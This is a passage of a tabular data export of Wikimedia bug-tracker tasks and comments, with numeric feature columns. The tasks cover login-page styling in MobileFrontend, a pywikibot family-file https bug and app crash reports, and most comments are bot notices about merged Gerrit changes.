**Attached**: {F14847}",Needs Triage,90.0,1415136000,1415137863.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-3k7bo66bxo3g6yukjld5,task_description,resolved,True,c3,1,True,False,True,-35,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4482758620689653,0.4827586206896552,"error

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F14847}"
323958,Errors not styled as errors on login form,"Change 171047 merged by jenkins-bot:
Style Login error messages in stable, too

https://gerrit.wikimedia.org/r/171047",,,1415137453,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3k7bo66bxo3g6yukjld5,task_subcomment,,True,c3,1,False,,,-35,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2105263157894735,1.0,"Change 171047 merged by jenkins-bot:
Style Login error messages in stable, too

GERRIT_URL"
323952,Errors not styled as errors on login form,"Change 171047 had a related patch set uploaded by Florianschmidtwelzow:
Style Login error messages in stable, too

https://gerrit.wikimedia.org/r/171047",,,1415136772,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3k7bo66bxo3g6yukjld5,task_subcomment,,True,c3,1,False,,,-35,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,"Change 171047 had a related patch set uploaded by Florianschmidtwelzow:
Style Login error messages in stable, too

GERRIT_URL"
323946,Errors not styled as errors on login form,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Trello card https://trello.com/c/z5UH8k83",,,1415136322,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-3k7bo66bxo3g6yukjld5,task_subcomment,,True,c3,1,False,,,-35,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Trello card URL"
74895,"generate_family_file.py doesn't add https to the class, despite informing the user the API url is https","generate_family_file.py does not add support for https

```
$ python ./generate_family_file.py https://wikiapiary.com/wiki/Main_Page wikiapiary
Generating family file from https://wikiapiary.com/wiki/Main_Page

==================================
api url: https://wikiapiary.com/w/api.php
MediaWiki version: 1.23.6
==================================

Determining other languages...
Loading wikis... 
  * en... in cache
Writing pywikibot/families/wikiapiary_family.py... 


$ cat pywikibot/families/wikiapiary_family.py
# -*- coding: utf-8 -*-
""""""
This family file was auto-generated by $Id: 185033971c163ea46b2b1904773b8c407069a4d0 $
Configuration parameters:
  url = https://wikiapiary.com/wiki/Main_Page
  name = wikiapiary

Please do not commit this to the Git repository!
""""""

from pywikibot import family

class Family(family.Family):
    def __init__(self):
        family.Family.__init__(self)
        self.name = 'wikiapiary'
        self.langs = {
            'en': 'wikiapiary.com',
        }



    def scriptpath(self, code):
        return {
            'en': '/w',
        }[code]

    def version(self, code):
        return {
            'en': u'1.23.6',
        }[code]
```",Needs Triage,90.0,1414986600,1438825280.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-ldooglhg45a3eg7cmxhh,False,PHID-TASK-cnuojlikoulksvmvcifo,task_description,resolved,True,c3,1,True,False,True,-35,True,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.461538461538462,0.7692307692307693,"generate_family_file.py does not add support for https

``CODE``"
502887,"generate_family_file.py doesn't add https to the class, despite informing the user the API url is https","Change 229115 merged by jenkins-bot:
Detect protocol of site for family file

[[https://gerrit.wikimedia.org/r/229115]]",,,1438812576,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cnuojlikoulksvmvcifo,task_subcomment,,True,c3,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.727272727272727,0.9090909090909091,"Change 229115 merged by jenkins-bot:
Detect protocol of site for family file

[[GERRIT_URL]]"
502264,"generate_family_file.py doesn't add https to the class, despite informing the user the API url is https","Change 229115 had a related patch set uploaded (by VcamX):
Detect protocol of site for family file

[[https://gerrit.wikimedia.org/r/229115]]
",,,1438739673,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cnuojlikoulksvmvcifo,task_subcomment,,True,c3,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.7037037037037037,0.8888888888888888,"Change 229115 had a related patch set uploaded (by VcamX):
Detect protocol of site for family file

[[GERRIT_URL]]
"
74832,HttpRequestException crashes,"From EditPreviewFragment:
https://ticket.wikimedia.org/otrs/index.pl?Action=AgentTicketZoom;TicketID=7922735
https://ticket.wikimedia.org/otrs/index.pl?Action=AgentTicketZoom;TicketID=7921778

Were these caused by Gerrit change 168313?

Also from EditSectionActivity in https://ticket.wikimedia.org/otrs/index.pl?Action=AgentTicketZoom;TicketID=7918248

--------------------------
**Version**: Stable
**Severity**: normal",Needs Triage,90.0,1414785840,1414794487.0,PHID-USER-x7ti5ksby4ubsabntlxa,False,,False,PHID-TASK-3bfxnskmdtqjfbzxacev,task_description,resolved,True,c3,1,True,False,True,-35,True,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,30.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.275,0.6,"From EditPreviewFragment:
URL
URL

Were these caused by Gerrit change 168313?

Also from EditSectionActivity in URL

--------------------------
**Version**: Stable
**Severity**: normal"
328666,HttpRequestException crashes,Was merged.,,,1414794487,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-3bfxnskmdtqjfbzxacev,task_subcomment,,True,c3,1,True,,,-35,True,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Was merged.
328663,HttpRequestException crashes,These will be fixed by: https://gerrit.wikimedia.org/r/169962,,,1414786080,,PHID-USER-pbvnfgskfwsdalhpd7np,False,,,PHID-TASK-3bfxnskmdtqjfbzxacev,task_subcomment,,True,c3,1,True,,,-35,True,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,1.0,These will be fixed by: GERRIT_URL
74723,Login icon showing on Special:MobileMenu for non-JS users,"Eek

See screenshot.

In JS we don't show the icons
Expected: icon is not visible.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F14851}",Needs Triage,90.0,1414623780,1414690693.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-no7r7brnlcneni4kkfcp,task_description,resolved,True,c3,1,True,False,True,-36,True,0.0,0.0,0.0,0.0,4.0,6.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,18.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.32,0.6,"Eek

See screenshot.

In JS we don't show the icons
Expected: icon is not visible.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F14851}"
324027,Login icon showing on Special:MobileMenu for non-JS users,"Change 169956 merged by jenkins-bot:
Remove login icon from Special:MobileMenu for non-JS users

https://gerrit.wikimedia.org/r/169956",,,1414690683,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-no7r7brnlcneni4kkfcp,task_subcomment,,True,c3,1,False,,,-35,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,13.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.173913043478261,0.9130434782608695,"Change 169956 merged by jenkins-bot:
Remove login icon from Special:MobileMenu for non-JS users

GERRIT_URL"
324023,Login icon showing on Special:MobileMenu for non-JS users,"Change 169956 had a related patch set uploaded by Bmansurov:
Remove login icon and a border from Special:MobileMenu for non-JS users

https://gerrit.wikimedia.org/r/169956",,,1414624886,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-no7r7brnlcneni4kkfcp,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,24.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.310344827586207,0.9310344827586207,"Change 169956 had a related patch set uploaded by Bmansurov:
Remove login icon and a border from Special:MobileMenu for non-JS users

GERRIT_URL"
324018,Login icon showing on Special:MobileMenu for non-JS users,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Trello card https://trello.com/c/3PaCFMdb",,,1414623915,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-no7r7brnlcneni4kkfcp,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Trello card URL"
74597,Language selectors looks out of place in alpha login page,"alpha login page

See image. The language links should be centered (or maybe hidden?). Now they look out of place.

--------------------------
**Version**: unspecified
**Severity**: minor

**Attached**: {F15220}",Needs Triage,90.0,1414450920,1414451744.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-y6acjoulwnqpli2yepse,task_description,invalid,True,c3,1,True,False,True,-36,True,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,13.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,0.6727272727272727,"alpha login page

See image. The language links should be centered (or maybe hidden?). Now they look out of place.

--------------------------
**Version**: unspecified
**Severity**: minor

**Attached**: {F15220}"
329420,Language selectors looks out of place in alpha login page,"Yeh this is a result of trying to repurpose the desktop login form in alpha.
I've added this to acceptance criteria in https://trello.com/c/jt1O10K2/16-use-desktop-login-account-creation-pages",,,1414451744,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-y6acjoulwnqpli2yepse,task_subcomment,,True,c3,1,True,,,-36,True,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,19.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,12.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,19.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.8846153846153846,0.8846153846153846,"Yeh this is a result of trying to repurpose the desktop login form in alpha.
I've added this to acceptance criteria in URL"
329415,Language selectors looks out of place in alpha login page,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Trello card https://trello.com/c/MymsQ4Ns",,,1414451111,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-y6acjoulwnqpli2yepse,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Trello card URL"
74580,Redirect to editor after login doesn't work for lead section,"If you click on the edit pencil (you're not logged in) on a section heading, you'll have a returnquery in the login link (returntoquery=action%3Dedit%26section%3D1) which will result in a redirect to the mobile editor after a successful login.

This returnquery is missing for the lead section edit link, so if you successful logged in, you only see the article, but have to click again to edit.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1414443300,1414623481.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-eij2s6i3n4cpcv4fwchs,task_description,resolved,True,c3,1,True,False,True,-36,True,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,1.0,0.0,0.0,0.0,3.0,13.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,1.0,5.0,1.0,0.0,0.0,5.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,4.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,4.0,0.0,2.0,0.0,0.0,0.0,4.070707070707071,0.5656565656565656,"If you click on the edit pencil (you're not logged in) on a section heading, you'll have a returnquery in the login link (returntoquery=action%3Dedit%26section%3D1) which will result in a redirect to the mobile editor after a successful login.

This returnquery is missing for the lead section edit link, so if you successful logged in, you only see the article, but have to click again to edit.

--------------------------
**Version**: unspecified
**Severity**: normal"
328621,Redirect to editor after login doesn't work for lead section,"Change 169216 merged by jenkins-bot:
Fix no-redirecting Cta in Edit-workflow

https://gerrit.wikimedia.org/r/169216",,,1414607290,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eij2s6i3n4cpcv4fwchs,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,0.9,"Change 169216 merged by jenkins-bot:
Fix no-redirecting Cta in Edit-workflow

GERRIT_URL"
328619,Redirect to editor after login doesn't work for lead section,"Change 169216 had a related patch set uploaded by Florianschmidtwelzow:
Fix no-redirecting Cta in Edit-workflow

https://gerrit.wikimedia.org/r/169216",,,1414444271,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eij2s6i3n4cpcv4fwchs,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,26.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.782608695652174,0.9565217391304348,"Change 169216 had a related patch set uploaded by Florianschmidtwelzow:
Fix no-redirecting Cta in Edit-workflow

GERRIT_URL"
328615,Redirect to editor after login doesn't work for lead section,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Trello card https://trello.com/c/oYoUc6Vh",,,1414443625,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-eij2s6i3n4cpcv4fwchs,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Trello card URL"
74482,Login page buttons looks unstyled in beta,"unstyled login buttons

Tested on master, but can't reproduce in beta labs (see image), so unconfirmed for now.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F14880}",Needs Triage,90.0,1414168020,1414171142.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-y2oqr4vcc23r4jp3bcbn,task_description,resolved,True,c3,1,True,False,True,-36,True,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5849056603773586,0.6792452830188679,"unstyled login buttons

Tested on master, but can't reproduce in beta labs (see image), so unconfirmed for now.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F14880}"
324629,Login page buttons looks unstyled in beta,"Change 168616 abandoned by Florianschmidtwelzow:
Use login page design in beta

Reason:
No LD for this (see bug discussion)

https://gerrit.wikimedia.org/r/168616",,,1414172213,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y2oqr4vcc23r4jp3bcbn,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,0.8928571428571429,"Change 168616 abandoned by Florianschmidtwelzow:
Use login page design in beta

Reason:
No LD for this (see bug discussion)

GERRIT_URL"
